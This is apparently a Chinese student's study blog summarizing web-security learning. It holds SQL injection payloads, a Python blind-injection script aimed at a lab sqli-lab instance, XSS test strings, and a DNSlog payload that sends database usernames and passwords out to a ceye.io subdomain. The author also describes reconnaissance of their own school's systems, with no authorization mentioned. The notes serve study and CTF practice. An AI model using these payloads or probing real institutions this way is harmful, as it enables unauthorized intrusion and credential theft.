对这段时间的总结

时间总是最珍贵的东西,浑浑噩噩的一下子就又一个学期过了大半有余。 下面对这段时间学习的知识进行一些总结:

一、信息收集

信息收集应该是进行所有渗透的第一步也是关键一步。 对于信息收集这一模块。我以学校为目标进行练习,嘿嘿。

信息收集,怎么说呢把目标看作一个城市,城市有很多入口,里面有各种各样的东西,

主站---大门

子站---校门

端口---一些窗户/下水道?

后台---暗门

网站架构/cms---设计图

有了这些比喻,可能会比较好理解,这也是大门不给走小门,也就是为什么要收集子域名、端口的原因。 比如:我收集的学校信息,主站就开放了443、80端口基本没啥搞头,但是教务系统的时候发现了,21和1433端口这就有搞头了。

嗯,,,具体怎么收集信息,也就这样了
  • 收集域名信息:whois、https://fofa.so/、天眼查
  • 收集敏感信息如:谷歌site;edu.cn intext:后台、burp suite的repeater同样可以收集到服务器的相关信息
  • 收集子域名:layer子域名挖掘机、谷歌、fofa、
  • 端口扫描:端口扫描工具、nmap
  • 找真实的ip:直接ping它查看是否使用cdn、https//asm.ca.com/en/ping.php、https://www.netcraft.com
  • 收集敏感目录文件:DirBuster、御剑后台扫描
社工。。。嗯...额,不适合我

二、漏洞环境的搭建

phpstudy+sqli-lab+xssplatform+DVWA 或 WAMP+sqli-lab+xssplatform+DVWA

XSS练习攻略ctf秀平台
https://ctf.show/challenges

三、sql注入学习总结

最关键的是判断是否是sql注入,注入点是在哪吧。这两个知道了,就可以进行常规和非常规注入测试了。 接下来就是注入类型然后进行注入了

1、布尔型注入---sqli-lab的less8

求长度' and length(database())>8 --+ 数据库名拼接 ' and (ascii(substr(database(),1,1)))>115 --+

脚本攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import os


# 此函数先判断数据库长度
def length(url, str):
num = 1
while True:
str_num = '%d' % num
len_url = url + "' and (select length(database()) = " + str_num + ")--+"
response = requests.get(len_url)
if str in response.text:
print("数据库长度为:%s" % str_num)
content(url, str, num)
break
else:
num = num + 1


# 此函数判断字符串具体的内容
def content(url, str, num):
s = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
con_num = 1
while con_num <= num:
str_num = '%d' % con_num
for i in s:
con_url = url + "' and (select mid(database()," + str_num + ",1)='" + i + "')--+"
response = requests.get(con_url)
if str in response.text:
fwrite(i)
con_num = con_num + 1


# 此函数对字符串的内容做记录并输出
def fwrite(i):
# fp = open("cache.txt",'a')
# fp.write(i)
# fp.close()
print(i)


if __name__ == '__main__':
url = "http://192.168.248.133/sql/Less-5/?id=1"
response = requests.get(url)
str = "You are in..........."
if str in response.text:
length(url, str)
else:
print("请输入正确的地址")

2、报错注入 sqli-lab的less1-6 11-14 17-24

报错函数如下

  • updatexml():mysql对xml文档数据进行查询和修改的xpath函数
  • extractvalue():mysql对xml文档数据进行查询的xpath函数
  • floor():mysql中用来取整的函数
  • exp():此函数返回e(自然对数的底)指数X的幂值

语法updatexml(目标xml文档,xml路径,更新的内容)

1
2
select username from security.user where id=1 and (updatexml(1,’/xx/xx’,’anything’))
'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))--+ #0x7e 是“~”

3、联合查询注入

数字型 union select 1,2,3判断回显位

字符型 ' and 1=2 union select 1,2,3-- qwe

4、时间盲注

延时注入 if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 sleep():休眠多少秒 ' and sleep(5)-- qwe //延时了5秒,证明执行成功了。

猜当前数据库: 1. ' and if(length(database())>8,1,sleep(5))-- qwe数据库长度大于8时延时了5秒,数据库名是长度为8的字符串。

5、二次注入 sqli-lab less24

只要在注册的时候 用admin ‘#注册 再去看数据库user里的会发现 有admin ’# 这个东西 然后,就看我们修改时的那个原码了 直接用admin ‘#登录,然后改密码 直接逮住 完事 原理:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-49 比较靠谱

6、DNSLOG注入 封神台-辛巴猫舍 sqli-lab less-38

DNSlog注入应用场景 sql注入的盲注、无回显的命令执行、无回显的SSRF

DNSlog注入原理 有一个可以配置的域名(比如:ceye.io),然后通过代理商设置域名(ceye.io)的 nameserver 为自己的服务器 A, 然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,

DNSLOG平台

http://www.dnslog.cn http://admin.dnslog.link http://ceye.io

DNSlog需要条件:

MySQL 开启 load_file() DNSLog 平台 (Hyuga、CEYE) Windows 平台

`改成分配我们的域名:CONCAT:字符串拼接函数 中间的select是一个子查询,假如root用户的密码是root,那么这条语句就等同于 SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc'); payload(我失败了): ?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+

and(SELECT LOAD_FILE(CONCAT(‘\\‘,(SELECT database()),’.75icr7.ceye.io\abc’)))


除此之外还有

宽字节注入 sqli-lab less-32:用%df 吃掉 源码里的\, 堆叠注入 sqli-lab less-38:?id=1';insert into users(username,password) values ('hello','world'); 其实用上面给的py也是可以用,稍微改一下就行

四、xss攻击

xss相对于我来说比较简单记忆,其实,关键还是判断xss攻击点在哪,再进行攻击就会比较简单了 找到测试点后,一般都会进行xss的测试语句进行测试:

1
2
3
4
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

绕过方式: 主动闭合标签实现注入代码 大小写绕过 双写 等等。。。主要靠经验吧

五、SSRF

可能也是我影响比较深刻的一个了。在参加字节跳动高校赛的时候,第一道题就是ssrf+的题,没做出来 在过后就去找了一个类型的题做, 最重要的是判断是否存在ssrf漏洞(用自己的vps开放端口进行测试)嗯......其实还是得用实例来总结会比较好,2020ByteCTF初赛官方Writeup!web题的easyscrapy https://bycsec.top/2020/10/26/ByteCTF2020-easyscrapy/ ctfshow的 https://ctf.show/challenges

六、CSRF

额,我偷懒了,我是从bibi那学的:https://www.bilibili.com/video/BV1UQ4y1N7aV 感觉他讲的应该是比我好很多

七、关于一些工具总结

讲真工具不熟练,因为还是实践过少。

不过,工具一般会扯到很多命令的比如metasploit单单讲这个的就很厚,还有powershell nmap? 认真的记了几波,发现还是记不牢。请教大佬,很多要知道有这回事,嗯,,,就是该记的还是要记,也不指望全部记住 不过,以后遇到要能想起来,然后去查

总结:

其实吧,看完《web安全攻防》、还是攻略完sqli-lab、还是攻略了ctfshow的xss挑战,其实更多的是知道有这回事在真实的题目应用上面却还是不足,在面临真正的ctf比赛试题或者平台练习的时候还是会比较脑袋空白的,其实就是经验不足导致的!这个确实是短板,书上、论坛看的再多也是无法得到的。

在这段时间里,学习过程中,讲真我并没有像很多人那样真正的说一撸就撸到很晚,我比较自满吧,总是在做完一些事的时候,会有点自满(其实做的不多)学完某个知识点的时候也是(到真正去做题的时候其实也是没有彻底掌握),懒惰、容易自满、没有更多的实践经验、见识少、忘性大是我现在的缺点吧

计划

  • 坚持完成每周更新bolg
  • 每周都必须攻略ctf平台
  • 坚持在不是满课的情况下学习《ctf成长之路》
  • 不要自满、投入更多的时间
引用一句不知道哪位名人的话:“你如果每天都很难受,那么你每天都会成长,当你回过头来发现,你必定会恍然大悟自己的难受是有多么值得。”(其实我也不知道是不是这样,忘性大)